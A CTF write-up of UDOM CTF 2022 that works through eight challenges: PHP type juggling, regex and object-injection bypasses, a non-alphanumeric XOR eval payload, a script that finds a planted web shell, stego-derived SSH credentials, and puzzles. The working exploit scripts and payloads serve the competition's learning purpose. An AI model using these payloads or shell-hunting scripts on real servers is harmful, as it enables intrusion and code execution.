---
# System prepended metadata

title: UDOM CTF 2022

---

# UDOM CTF 2022
![](https://i.imgur.com/cmGn1tj.png)

This was a CTF put together by <a href="https://mobile.twitter.com/UdomCyberClub">UdomCyberClub</a>. It was fun to play, interesting web challenges were featured.
The leaderboard ->
```bash=
mug3njutsu🧑‍💻⛩ ~> ctf
CTF: udom
Page: scoreboard
+-------+--------------+-------+
| Place |    Player    | Score |
+-------+--------------+-------+
|   1   |  spaidaman   |  1150 |
|   2   |  mug3njutsu  |  1050 |
|   3   | babukrismasi |  1050 |
|   4   |  kenobi1337  |  675  |
|   5   |    0xRar     |  450  |
|   6   | \ud83d\ude03 |   25  |
|   7   |     Anon     |   25  |
+-------+--------------+-------+
```

### **First chall: Hash Me**
```
just do it!!! just a warm UP
author: cyrange

http://193.122.147.103:9008
```
A relatively simple web challenge. Going over to the website, you get a password input field. Also is a link to the source code of the password validation.
```php=
if (isset($_GET['passwd'])) {
        if (hash("md5", $_GET['passwd']) == '0e514198428367523082236389979035'){
            echo "<script>alert('$flag')</script>";
        } else {
            echo "<script>alert('Wrong!');</script>";
    }
}
```
I tweaked the script abit to run it locally making it easier to play around with.
```php=
<?php

$dev = $argv[1];
$hash = "0e514198428367523082236389979035";

if (isset($dev)){
	if (hash("md5", $dev) == $hash){
		echo "found flag!!!";
	}else
		echo "no flag";
}else
	echo "Pass an argument :)";
?>
```
Running this with a random input ->
```bash=
➜  hash_me_COMPLETE php a.php 0xl33tbab3
no flag
```
Errors out coz we didn't supply a correct input. From the original code, it's going to convert our input to an md5 hash and then compare it to `0e514198428367523082236389979035`. For this chall, i used php magic hashes because it's going to bypass the php type juggling vulnerability present in the code brought about by the double equal sign(Equal operator), which returns true if both values are the same(compares values and not data types). To harden it, you can use the triple equal sign(Identical operator), which returns true if both values contain the same information and same data-type(compares both values and data types). Back to exploiting this ->
https://github.com/spaze/hashes/blob/master/md5.md
Any random string there will work as long it's hash is numeric from 0e to match the given hash.
```bash=
➜  hash_me_COMPLETE cat random 
240610708:0e462097431906509019562988736854
GZECLQZ:0e537612333747236407713628225676
4Ryf8m1aUuos:0ed28945221302591847978449153264
RSnakeunZpMM36jWRc:0ef91664263600485432881263069170
➜  hash_me_COMPLETE for i in $(cat random); do php a.php $(echo "$i" | cut -d ":" -f 1); echo -n "\n"; done
found flag!!!
found flag!!!
no flag
no flag
```
The first two worked. The second two didn't and it's coz their hashes have an ascii character after 0e. So the script just checks, hey, does that hash start with 0e? yeah, then does it have numeric digits? sure and works. If we play with the script abit and replace the equal operator with the identical operator, you'll see that none of them work because it checks whether the hashes are identical.
```bash=
➜  hash_me_COMPLETE cat a.php | head -n 7 | tail -n 1            
        if (hash("md5", $dev) === $hash){
➜  hash_me_COMPLETE for i in $(cat random); do php a.php $(echo "$i" | cut -d ":" -f 1); echo -n "\n"; done
no flag
no flag
no flag
no flag
```
If we use a string that has a hash exactly the same as the one in the script, it will work.
```bash=
➜  hash_me_COMPLETE cat a.php| head -n 4 | tail -n 1
$hash = "0ea90264385679456791019887225991";
➜  hash_me_COMPLETE php a.php TMonekAePscz          
found flag!!!
```

### **Second chall: preg**
```
just Do it!! everything you already Have it
author: cyrange

http://193.122.147.103:9006/ 
```
We're given the source code for the chall.
```php=
<?php
  require("flag.php");
  if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
  }
  if (isset($_GET['2021_real_rock'])) {
    $your_entered_string = $_GET['2021_real_rock'];
    $intermediate_string = 'udomcyberclub';
    $final_string = preg_replace(
            "/$intermediate_string/", '', $your_entered_string);
    if ($final_string === $intermediate_string) {
      s3cr3t_function();
    }
  }
?>
```
The webpage says `try to reach s3cr3t_function()`.
Modified the script so that i could have a keener look.
```php=
<?php

$dev = $argv[1];
if (isset($dev)){
	$your_entered_string = $dev;
	$intermediate_string = 'udomcyberclub';
	$final_string = preg_replace("/$intermediate_string/", '', $your_entered_string);
	echo "final_string: $final_string";
	if ($final_string === $intermediate_string){
		echo "\nflag found!!!";
  	} else
		echo "\nno flag";
} else
	echo "pass an argument :)";
?>
```
```bash=
➜  preg_COMPLETE php a.php udomcyberclub             
final_string: 
no flag
```
```bash=
➜  preg_COMPLETE php a.php udomcyberclubudomcyberclub
final_string: 
no flag
```
The trick here is simple. We can seperate the input such that, it only finds a section of it matching $intermediate_string and then leaving the other one as it is and when recombined, matches $intermediate_string.
```bash=
➜  preg_COMPLETE php a.php udomcyberudomcyberclubclub 
final_string: udomcyberclub
flag found!!!
```
```bash=
➜  preg_COMPLETE php a.php udomudomcyberclubcyberclub
final_string: udomcyberclub
flag found!!!
```
```bash=
➜  preg_COMPLETE php a.php uudomcyberclubdomcyberclub
final_string: udomcyberclub
flag found!!!
```
```bash=
➜  preg_COMPLETE php a.php udomcudomcyberclubyberclub
final_string: udomcyberclub
flag found!!!
```
easy easy.

### **Third chall: backdoor**
```
hello Mr black Hacker !! i hope you are familiar

http://193.122.147.103:9010
```
Going to the url, got a default apache debian page. Decided to check whether robots.txt is in the default root directory of apache. Indeed it was.
```bash=
➜  backdoor_COMPLETE curl http://193.122.147.103:9010/robots.txt                                                     
Shell Backdoor List
```
Googled for shell backdoor list and found a git repo. Cloned it to have a closer look. One of the files either asp or php was going to give us a backdoor to the system. I made a simple script to loop through until it finds a file that exists on the server.
```bash=
#!/bin/bash
# @author: mug3njutsu

for i in $(ls -al | grep dr | awk '(NR>2)' | tr -s " " | awk -F' ' '{print $9}'); do
	cd $i
	for file in $(ls); do
		response=`curl -s -X POST http://193.122.147.103:9010/$file | grep -oE 404`
		if [[ $response ]]; then
			continue
		else
			echo "file exists: $file"
		fi
	done
	cd ../
done
```
Running this ->
```bash=
➜  shell git:(master) ✗ ./a.sh 
file exists: p0wny-shell.php
```
![](https://i.imgur.com/ScD2rrf.png)

Got some sort of shell on the system. Found flag in root dir.
```bash=
p0wny@shell:…/www/html# ls /
bin
boot
dev
etc
flag.txt
home
lib
lib64
main.sh
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

p0wny@shell:…/www/html# cat /flag.txt
UDOM{hello_BLACKHACKER_YOUAREFAMILIAR}
```

### **Fourth chall: numeric**
```
just doi it!!
author: cyrange

http://193.122.147.103:9007/
```
Simple chall. We're given the source code.
```php=
<?php
require 'function.php';

$dev = $_GET['number'];
if (isset($dev)) {
	if (is_numeric($dev)){
		if (!strpos($dev, ".")){
			if (strlen($dev) > 6){
				if ($dev < 99999 && $dev > 90000)
				echo 'Flag:  '.$flag;
				else
				print '<div class="alert">Oh Oh Think again</div>';
			} else
				print '<h1>Wrong Move Champ</h1>';
		} else
		print '<h1>Not That hard . keep trying</h1>';	
	} else
		print '</h1>Just read the source code once again</h1>';
}
?>
```
Tweaked it to run locally and play with.
```php=
<?php

$dev = $argv[1];
if (isset($dev)){
	if (is_numeric($dev)){
		if (!strpos($dev, ".")){
			  if (strlen($dev)>6){
				if ($dev < 99999 && $dev > 90000){
					echo 'found flag!!!';
				}else
					echo 'Oh Oh Think again';
			  }else
				echo 'Wrong Move Champ';
		}else
			echo 'Not That hard . keep trying';
	}else
		echo 'Just read the source code once again';
}else
```
Simple challenge here. We're supposed to pass a number. Then is_numeric() checks whether the input is a number. Then checks whether the length of the number is greater than 6, then prints the flag. The manual page for is_numeric helped me with this one.
https://www.php.net/manual/en/function.is-numeric.php
```php=
<?php
$tests = [
    " 42",
    "42 ",
    " 9001", // non-breaking space
    "9001 ", // non-breaking space
];

foreach ($tests as $element) {
    if (is_numeric($element)) {
        echo var_export($element, true) . " is numeric", PHP_EOL;
    } else {
        echo var_export($element, true) . " is NOT numeric", PHP_EOL;
    }
}
?>
```
This script checks whether each element in the list is a number. The output ->
```bash=
' 42' is numeric
'42 ' is NOT numeric
' 9001' is NOT numeric
'9001 ' is NOT numeric
```
So, you can see that " 42" even with the space is evaluated as numeric. " 9001" also has a space but it's a non-breaking one, meaning it's only supposed to prevent line-breaks, so that doesn't work. What interested me here was " 42" because, you could use two spaces as extra characters making this chall a lot easier.
```bash=
➜  numeric_COMPLETE php a.php "  90001"
found flag!!!
```
Done!!

### **Fifth chall: serialKiller**
```
we are trying so hard @@!!!
author: cyrange

http://193.122.147.103:9009/ 
```
We're given the source code.
```php=
<?php
include "flag.php";

show_source(__FILE__);

class credentials {
  var $username;
  var $password;
  var $supersecret;
}

if (isset($_GET['uid'])) {

  $uid = $_GET['uid'];

  $user = unserialize($uid);
  if ($user) {
    $user->supersecret = $firstflag;
    if ($user->username === "santa" && $user->password === $user->supersecret) {
      echo "Congrats i got boxing gifts for you...  " . $user->password;
      if (isset($_GET['capts'])) {
        $cap = $_GET['capts'];
        if (strlen($cap) > 45) {
          die("Noope, Chill now");
        }
        if (preg_match("/[A-Za-z0-9]+/", $cap)) {
          die("Don't Play with the best/Good language!!");
        }
        eval($cap);
        // Try to execute getFlag()
      } else {
        echo "EHHH You are not eligible";
      }
    } else {
      echo "Oh no... You can't play and fool me";
    }

  } else {
    echo "are you Bantering/trolling me?";
  }

} else {
  echo "Go and and Google SKuidDIE!!";
}
```
First thing you should note is that our first argument is being unserialized. So, this chall entails php object injection.
Tweaked the code as always.
```php=
<?php

class credentials {
  var $username;
  var $password;
  var $supersecret;
}

$firstflag = "first part of the flag found!!!";

$uid = $argv[1];
$cap = $argv[2];
if (isset($uid)){
  $user = unserialize($uid);
  if ($user) {
    $user->supersecret = $firstflag;
    if ($user->username === "santa" && $user->password === $user->supersecret) {
      echo "Congrats i got boxing gifts for you...  " . $user->password;
      if (isset($cap)) {
        if (strlen($cap) > 45) {
          die("Noope, Chill now");
        }
        if (preg_match("/[A-Za-z0-9]+/", $cap)) { // alphanumeric
          die("Don't Play with the best/Good language!!");
        }
        eval($cap);
        echo "second part of the flag found!!!";
      } else
        echo "EHHH You are not eligible";

    } else
      echo "Oh no... You can't play and fool me";

  } else
    echo "are you Bantering/trolling me?";

} else
  echo "Pass an argument :)";
?>
```
To bypass the first check, we need to serialize an object where $user->username is equal to santa and $user->password is equal to $user->supersecret. This would be pretty straight forward, problem is, $user->supersecret is an unknown value. So, how can we make $user->password equal to an unknown value. The way i did this was pointing $user->password back to $user->supersecret, meaning $user->supersecret would be defined first. It's like in linux when creating a symlink file. That's exactly it. This would mean in the end, both values would be equal. The interesting part is that, since $user->supersecret is the variable for the first part of the flag, and this is "symlinked" to $user->password, then when we bypass the identical operator, we get the first part of the flag.
```php=
<?php

class credentials {
  var $username;
  var $password;
  var $supersecret;
}

$user = new credentials();
$user->username = "santa";
$user->supersecret = "0xl33tbab3";
$user->password = &$user->supersecret;

$id = serialize($user);
echo $id;

?>
```
Let's run this.
```bash=
➜  serial_killer_COMPLETE php a.php $(php solve.php) 
PHP Warning:  Undefined array key 2 in /home/mug3njutsu/ctf/udom_ctf_2/serial_killer_COMPLETE/a.php on line 12
Congrats i got boxing gifts for you...  first part of the flag found!!!EHHH You are not eligible
```
This works nicely. We get the first part of the flag...nooooice!! Let's move on. Next thing we should note is that the second argument shouldn't be more than 45 characters and also shouldn't have alphanumeric chars. After bypassing that, our second argument will be evaluated by the eval() function and then we can execute getFlag() and get the second part of the flag.
This part was a little tricky. Found a similar solution here ->
https://ctf-wiki.github.io/ctf-wiki/web/php/php/#preg_match-code-execution
The painful part was translating the chinese lol, but anyway, you can still execute code using the bitwise XOR operation in php to convert the alphanumeric chars to some weird characters which eval() will still run. I don't fully get it myself, but what the heck ahahahaha.
```
$_="`{{{"^"?<>/";${$_}[_]();
```
Stole this from the blog. Apparently, the first part runs _GET. The second part runs $_GET[_]() which just specifies a GET parameter. Okay, let's try this out. This part was a little complicated on terminal so, i made a python script to get the flag instead.
```python=
#!/usr/bin/python3
# @author: mug3njutsu

import requests
import subprocess
import re
from urllib.parse import unquote_plus as up

url = "http://193.122.147.103:9009/"

payload = subprocess.check_output(["php solve.php"], shell=True)
capts = "$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=getFlag"
params = {
	"uid":payload,
	"capts":capts
}

r = requests.get(url, params=params)
new_url = up(r.url)
r2 = requests.get(new_url)
flag1 = re.findall(r"<strong>(.*)", r2.text)
final_flag = flag1[0].split("</strong><br><strong>")
print("".join(final_flag))
```
```bash=
➜  serial_killer_COMPLETE python3 a.py
UDOM{pHp_1s_a_h34dache_gu3ss0_}
```
To be honest, that chall was extremely painful.
![](https://i.imgur.com/RhJWuCj.gif)

### **Sixth chall: steCHINEX**
```
what you ask!! here we GO

172.105.234.96
```
A fairly easy machine which consumed a lot of my time. Steg on a machine is just frustrating.
As always, scanned the ports. Found two ports open, ssh and http.
```bash=
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 9a:a3:cc:7b:a0:b8:a7:65:65:78:91:41:4a:15:15:88 (RSA)
|   256 96:87:03:13:94:d8:27:f8:96:79:2c:c9:cf:1e:e9:1f (ECDSA)
|_  256 d9:d9:93:0e:a2:30:b2:2f:60:63:47:62:0a:56:bd:25 (ED25519)
80/tcp open  http    Apache httpd 2.4.51 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.51 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Looking at the website, nothing too interesting. There's robots.txt which just says `it's beginner friendly`.
![](https://i.imgur.com/rHl6oHF.png)

Did some directory bruteforcing, didn't find anything interesting as well. So, went back to these two images and downloaded them to have a closer look. At first i didn't get anything using steg coz i guess i didn't use the right tool. A friend of mine suggested stegextract which i've never heard of before ahahahahaha.
https://github.com/evyatarmeged/stegextract
```bash=
➜  images for i in $(ls); do stegextract $i; done
Detected image format: JPG
Extracted trailing file data:  ASCII text
Performing deep analysis
Done
Detected image format: JPG
No trailing data found in file
Performing deep analysis
Done
➜  images ls
1I0A0592_dumps  1I0A0592.JPG  IMG_7632.jpeg
```
Found something peculiar from this image 1I0A0592.JPG.
```bash=
➜  images cat 1I0A0592_dumps 
f@r3w3ll2021
```
Looks like a password. This is now the painful part. Here's where i quickly ran hydra against a list of usernames lmao and got nothing and i was so frustrated. Then i sat down and was like, there are two images, let me try this.
```bash=
➜  images steghide --extract -sf IMG_7632.jpeg
Enter passphrase: 
wrote extracted data to "password.txt".
➜  images cat password.txt 
password:H@ppy_n3w_y3@r
```
And surprisingly that worked. Another loop of frustration trying this newly found password with hydra and a list of usernames.
![](https://i.imgur.com/i4oVUPY.png)

Eventually, decided to use this password to extract data from the original image.
```bash=
➜  images steghide --extract -sf 1I0A0592.JPG 
Enter passphrase: 
wrote extracted data to "username.txt".
➜  images cat username.txt 
cyrange
```
Wonderful. I could now use these creds to ssh into the machine.
```=
➜  images ssh cyrange@172.105.234.96
cyrange@172.105.234.96's password: 
Linux localhost 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan  3 08:28:40 2022 from 80.240.201.82
cyrange@localhost:~$
```
Sweet. Looking around now. There's a fake flag file.
```bash=
cyrange@localhost:~$ cat flag
Say high to cyrange its not flag
```
Then there's this hidden image file which looks interesting.
```bash=
cyrange@localhost:~$ ls -la
total 48
drwxr-xr-x 4 cyrange cyrange  4096 Jan  2 17:04 .
drwxr-xr-x 3 root    root     4096 Dec 29 12:35 ..
-rw------- 1 cyrange cyrange 11644 Jan  3 08:28 .bash_history
-rw-r--r-- 1 cyrange cyrange   220 Dec 29 12:35 .bash_logout
-rw-r--r-- 1 cyrange cyrange  3526 Dec 29 12:35 .bashrc
-rw-r--r-- 1 root    root       33 Dec 31 18:02 flag
drwxr-xr-x 3 cyrange cyrange  4096 Jan  1 23:02 .local
-rw-r--r-- 1 cyrange cyrange   807 Dec 29 12:35 .profile
drwxr-xr-x 2 cyrange cyrange  4096 Jan  2 19:52 .secret
-rw-r--r-- 1 root    root       21 Dec 31 18:01 .udom.jpg
cyrange@localhost:~$ file .udom.jpg 
.udom.jpg: ASCII text
```
Turns out it's not an image after all huh?
```bash=
cyrange@localhost:~$ cat .udom.jpg 
UDOM{Happy_n3w_y3ar}
```
Done!!!

### **Seventh chall: readME**
```
READ ME!! BOY
```
<a href="http://193.122.147.103/files/8b9f0b45e7b0a1ea7d9bdb01b15e0116/file.zip?token=eyJ1c2VyX2lkIjoxOSwidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6MTl9.YdK1IQ.9wnmb_Ag2SxISUUnsuTZJVwIkkA">file.zip</a>
We're given a zipfile. Running binwalk ->
```bash
➜  readME_COMPLETE binwalk file.zip 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 78, uncompressed size: 180, name: .file
113           0x71            Zip archive data, encrypted at least v2.0 to extract, compressed size: 49, uncompressed size: 19, name: FLAG.txt
415           0x19F           End of Zip archive, footer length: 22
```
We can see there's FLAG.txt and a hidden file. Trying to unzip, seems we don't have the password to the file and bruteforcing it won't work.
```bash=
➜  readME_COMPLETE unzip file.zip 
Archive:  file.zip
   skipping: FLAG.txt                unsupported compression method 99
  inflating: .file 
```
But if you look keenly, it's able to extract a file which is hidden.
```bash=
➜  readME_COMPLETE cat .file 
b.txt
W.txt
F.txt
y.txt
c.txt
n.txt
l.txt
j.txt
a.txt
z.php
H.txt
J.txt
p.txt
c.txt
3.txt
R.txt
t.txt
Y.txt
X.txt
M.txt
y.txt
M.txt
D.txt
I.txt
y.txt
x.php
M.txt
j.txt
I.txt
K.txt
```
Interesting. The names given to the files seems abit off to me. Decided to create a simple script to extract that set of text.
```python=
#!/usr/bin/python3
# @author: mug3njutsu

string = "".join([i[0] for i in open(".file", "r")])
print(string)
```
```bash=
➜  readME_COMPLETE python3 a.py
bWFycnljazHJpc3RtYXMyMDIyxMjIK
```
Looks like base64. Let's decode that.
```bash=
➜  readME_COMPLETE python3 a.py | d64
marryck1ɥ�ѵ������# base64: invalid input
```
Got some output. But something ain't right somewhere. Looked at the hidden file again and noticed there are only two php files and the rest are txt files. So, maybe those chars are causing the issue? Made a simple script to remove those files with a php extension and then base64 decode the new string to get the password.
```python=
#!/usr/bin/python3
# @author: mug3njutsu

passwd = "".join([i[0] for i in open(".file", "r") if "php" not in i])
print(passwd)
```
```bash=
➜  readME_COMPLETE python3 a.py | d64
marrychristmas202222
```
Now we can unzip the zipfile and get the flag.
```bash=
➜  readME_COMPLETE 7z -y e file.zip -p$(python3 a.py|d64) >/dev/null; cat FLAG.txt
UDOM{HELLO_THINK3R}
```
Nice and sweet.

### **Eighth chall: dot**
```
found this weird!! can you see it!!
⠞⠓⠊⠎⠸⠊⠎⠸⠃⠗⠁⠊⠇⠇⠒⠒⠒⠸⠮

FLAG: UDOM{}
```
This is obviously braille. <a href="https://www.dcode.fr/braille-alphabet">dcode_fr_decode_braille</a> disappointed me big time. Not sure why it wasn't able to decode it neatly. So, i decided to recycle the script i made for aspire ctf to decode braille. Good times lol.
https://hackmd.io/@mug3njutsu/aspire-ctf-2021#Third-Challenge-Primer---Touch
```python=
#!/usr/bin/env python3
# @author: mug3njutsu

#BRAILLE_ENCODE_DICT = {" ":" ", "!":"⠮", '"':"⠐", "#":"⠼", "$":"⠫", "%":"⠩", "&":"⠯", "'":"⠄", "(":"⠷", ")":"⠾", "*":"⠡", "+":"⠬", ",":"⠠", "-":"⠤", ".":"⠨", "/":"⠌", "((0":"⠴", "1":"⠂", "2":"⠆", "3":"⠒", "4":"⠲", "5":"⠢", "6":"⠖", "7":"⠶", "8":"⠦", "9":"⠔", ":":"⠱", ";":"⠰", "<":"⠣", "=":"⠿", ">":"⠜", "?":"⠹", "@":"⠈", "A":"⠁", "B":"⠃", "C":"⠉", "D":"⠙", "E":"⠑", "F":"⠋", "G":"⠛", "H":"⠓", "I":"⠊", "J":"⠚", "K":"⠅", "L":"⠇", "M":"⠍", "N":"⠝", "O":"⠕", "P":"⠏", "Q":"⠟", "R":"⠗", "S":"⠎", "T":"⠞", "U":"⠥", "V":"⠧", "W":"⠺", "X":"⠭", "Y":"⠽", "Z":"⠵", "[":"⠪", "]":"⠻", "^":"⠘", "_":"⠸", "{":"{", "}":"}"}
BRAILLE_DECODE_DICT = {"⠀":"⠀", "!":"⠮", '"':"⠐", "#":"⠼", "$":"⠫", "%":"⠩", "&":"⠯", "'":"⠄", "(":"⠷", ")":"⠾", "*":"⠡", "+":"⠬", ",":"⠠", "-":"⠤", ".":"⠨", "/":"⠌", "0":"⠴", "1":"⠂", "2":"⠆", "3":"⠒", "4":"⠲", "5":"⠢", "6":"⠖", "7":"⠶", "8":"⠦", "9":"⠔", ":":"⠱", ";":"⠰", "<":"⠣", "=":"⠿", ">":"⠜", "?":"⠹", "@":"⠈", "A":"⠁", "B":"⠃", "C":"⠉", "D":"⠙", "E":"⠑", "F":"⠋", "G":"⠛", "H":"⠓", "I":"⠊", "J":"⠚", "K":"⠅", "L":"⠇", "M":"⠍", "N":"⠝", "O":"⠕", "P":"⠏", "Q":"⠟", "R":"⠗", "S":"⠎", "T":"⠞", "U":"⠥", "V":"⠧", "W":"⠺", "X":"⠭", "Y":"⠽", "Z":"⠵", "[":"⠪", "]":"⠻", "^":"⠘", "_":"⠸", "{":"{", "}":"}"}

def decode(instring):
	out = ""
	chunks, chunk_size = len(instring), 1
	for i in range(0, chunks, chunk_size):
		for key, value in BRAILLE_DECODE_DICT.items():
			if value == instring[i:i+chunk_size]:
				out += key
				continue
	return out
"""
def encode(instring):
	out = ""
	for s in instring:
		out += BRAILLE_ENCODE_DICT[s]
	return out
"""
if __name__ == "__main__":
	braille = "⠞⠓⠊⠎⠸⠊⠎⠸⠃⠗⠁⠊⠇⠇⠒⠒⠒⠸⠮"
	decoder_result = decode(braille)
	print(decoder_result)
```
```bash=
┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/udom_ctf_2/dot_COMPLETE]
└─$ python3 a.py        
THIS_IS_BRAILL333_!
```
Too easy.

<a  href="https://www.buymeacoffee.com/mug3njutsu"><img class="bounce" src="https://img.buymeacoffee.com/button-api/?text=Buy me a coffee&emoji=&slug=vsalguero&button_colour=BD5FFF&font_colour=ffffff&font_family=Cookie&outline_colour=000000&coffee_colour=FFDD00"></a>
<style>
/*Bounce*/
@keyframes bounce {
  0%, 5%, 15%, 25% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  10% {
    -webkit-transform: translateY(-20px);
    transform: translateY(-20px);
  }

  20% {
    -webkit-transform: translateY(-10px);
    transform: translateY(-10px);
  }
}
.bounce{
  animation: bounce 5s infinite;
}
</style>

<style>
.twitter a {
  font-family: "Roboto", "Noto Sans", "Open Sans", "sans-serif";
  display: inline-flex;
  color: #fff;
  border-radius: 5px;
  background: #1b95e0;
  padding: .4em .8em;
  text-decoration: none;
  font-weight: bold;
  text-align: left;
  position: absolute;
  bottom:138px;
  left:300px;
}
</style>

<div class="twitter" style="height: 35px; width: 300px;"><a target="_blank" rel="noopener noreferrer" href="https://twitter.com/mug3njutsu">
<svg height="20px" width="20px" style="margin-right: 5px; fill: #fff;" viewBox="0 0 512 512" preserveAspectRatio="none">
<path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z" /></a></div>

<style>

body[style],
  body[style*="background-color: white;"] {
    background-color: #1e1e1e !important;
  }

  body {
    color: #abb2bf;
  }

  .ui-view-area,
  .markdown-body,
  .ui-content {
    background: #1e1e1e;
    color: #abb2bf;
  }

  h1,
  h2,
  h3,
  h4,
  h5,
  h6,
  p {
    color: #ddd;
  }

  /* form */
  .form-control {
    background: #333;
    color: #fff;
    border-color: #8e8e8e;
  }

  .form-control::placeholder,
  .form-control::-webkit-input-placeholder,
  .form-control:-moz-placeholder,
  .form-control::-moz-placeholder,
  .form-control:-ms-input-placeholder {
    color: #eee;
  }

  /*--------------- navbar ---------------*/
  .header {
    background-color: #0e0e0e;
    border-color: #0e0e0e;
  }

  .navbar {
    background-color: #0e0e0e;
    border-color: #0e0e0e;
  }

  .navbar a {
    color: #eee !important;
  }

  .navbar .btn-group label {
    background-color: #0e0e0e;
    color: #eee;
    border-color: #555;
  }

  .navbar .btn-group label.btn-default:focus,
  .navbar .btn-group label.btn-default:hover {
    background-color: #2a2a2a;
    color: #eee;
    border-color: #555;
  }

  .navbar .btn-group label.active {
    background-color: #555;
    color: #eee;
    border-color: #555;
  }

  .navbar .btn-group label.active:focus,
  .navbar .btn-group label.active:hover {
    background-color: #555;
    color: #eee;
    border-color: #555;
  }

  .navbar-default .btn-link:focus,
  .navbar-default .btn-link:hover {
    color: #eee;
  }

  .navbar-default .navbar-nav>.open>a,
  .navbar-default .navbar-nav>.open>a:focus,
  .navbar-default .navbar-nav>.open>a:hover {
    background-color: #555;
  }

  .dropdown-header {
    color: #eee;
  }

  .dropdown-menu {
    background-color: #222;
    border: 1px solid #555;
    border-top: none;
  }

  .dropdown-menu>li>a {
    color: #eee;
  }

  .dropdown-menu>li>a:focus,
  .dropdown-menu>li>a:hover {
    background-color: #555555;
    color: #eee;
  }

  .dropdown-menu .divider {
    background-color: #555;
  }

  .header .open .dropdown-menu {
    background-color: #202020;
  }

  .ui-share-menu .ui-share-copy,
  .ui-share-menu .ui-share-preview {
    border-color: #6d6d6d !important;
    background-color: #333 !important;
    color: #FFF !important;
  }

  .ui-share-menu .ui-share-copy:hover,
  .ui-share-menu .ui-share-copy:focus,
  .ui-share-menu .ui-share-preview:hover,
  .ui-share-menu .ui-share-preview:focus {
    background-color: #737373 !important;
    color: #FFF !important;
  }

  .permission-dropdown .ui-more-settings,
  .permission-dropdown .sidenav-trigger {
    color: #7bf;
  }

  .public-published-toggle .unpublish:hover {
    background-color: #286090;
  }

  .menuitem-dropdown .menuitem-dropdown-trigger {
    border-color: #8e8e8e;
  }

  .menuitem-dropdown .menuitem-dropdown-trigger:hover,
  .menuitem-dropdown .menuitem-dropdown-trigger:focus {
    background-color: #3e4045;
  }

  .navbar .announcement-popover {
    background: #4F4F4F;
  }

  .navbar .announcement-popover .announcement-popover-header {
    background: #2e2e2e;
    border-bottom: 1px solid #2e2e2e;
  }

  .navbar .announcement-popover .announcement-popover-body {
    background: #4F4F4F;
    color: #eee;
  }

  .navbar .announcement-popover .announcement-popover-footer {
    background: #4F4F4F;
  }

  .navbar .announcement-area .caption.inverse {
    color: #eee;
  }

  .label-warning {
    background-color: #ffc107;
    color: #212529;
  }

  /*--------------- history / recent ---------------*/
  .list.row-layout li .item {
    border-color: #696c7d;
  }

  .list.row-layout li:nth-last-of-type(1) .item {
    border-bottom: none;
  }

  .list li .item {
    background: #1c1c1c;
    color: #fff;
  }

  .list li:hover .item,
  .list li:focus .item {
    background: #404040;
  }

  .list li .item h4 {
    color: #fff;
  }

  .list li p {
    color: #ccc;
  }

  .list li p i {
    font-style: normal;
  }

  .list li .item .content .tags span {
    background: #555;
  }

  .list li .item.wide .content .title a,
  .list li .item.wide .content .title a:focus,
  .list li .item.wide .content .title a:hover {
    color: #ddd;
  }

  .ui-item {
    color: #fff;
    opacity: 0.7;
  }

  .ui-item:hover,
  .ui-item:focus {
    opacity: 1;
    color: #fff;
  }

  .list li .item.wide hr {
    border-color: #6d6d6d;
  }

  .overview-widget-group .btn,
  .multi-select-dropdown-menu .ui-dropdown-label,
  .multi-select-dropdown-menu .dropdown-options,
  .form-control {
    border-color: #8e8e8e;
  }

  .multi-select-dropdown-menu .dropdown-options .ui-option:hover {
    background-color: #4d4d4d;
    color: #eee;
  }

  #overview-control-form #overview-keyword-input-container .select2-container {
    background-color: #3e4045 !important;
  }

  #overview-control-form #overview-keyword-input-container .select2-container .select2-choices {
    background-color: #3e4045;
  }

  .search {
    background-color: #3e4045;
    color: #eee;
  }

  .btn.btn-gray {
    background: #1b1b1b;
  }

  .btn.btn-gray:hover {
    background: #4d4d4d;
    color: #eee;
  }

  .search::placeholder,
  .search::-webkit-input-placeholder,
  .search:-moz-placeholder,
  .search::-moz-placeholder,
  .search:-ms-input-placeholder {
    color: #eee;
  }

  .btn.btn-gray {
    border-color: #6d6d6d;
    background: #333;
    color: #eee;
  }

  .select2-default {
    color: #eee !important;
  }

  .select2-results .select2-highlighted {
    background: #4d4d4d;
    color: #eee;
  }

  .select2-container-multi .select2-choices {
    background: #3e4045;
  }

  .select2-container-multi .select2-choices .select2-search-choice {
    background: #131313;
    color: #eee;
    border-color: #555;
    box-shadow: none;
  }

  .btn-default,
  .btn-default:focus {
    color: #eee;
    background-color: #2e2e2e;
    border-color: #6a6a6a;
  }

  .btn-default.active.focus,
  .btn-default.active:focus,
  .btn-default.active:hover,
  .btn-default:active.focus,
  .btn-default:active:focus,
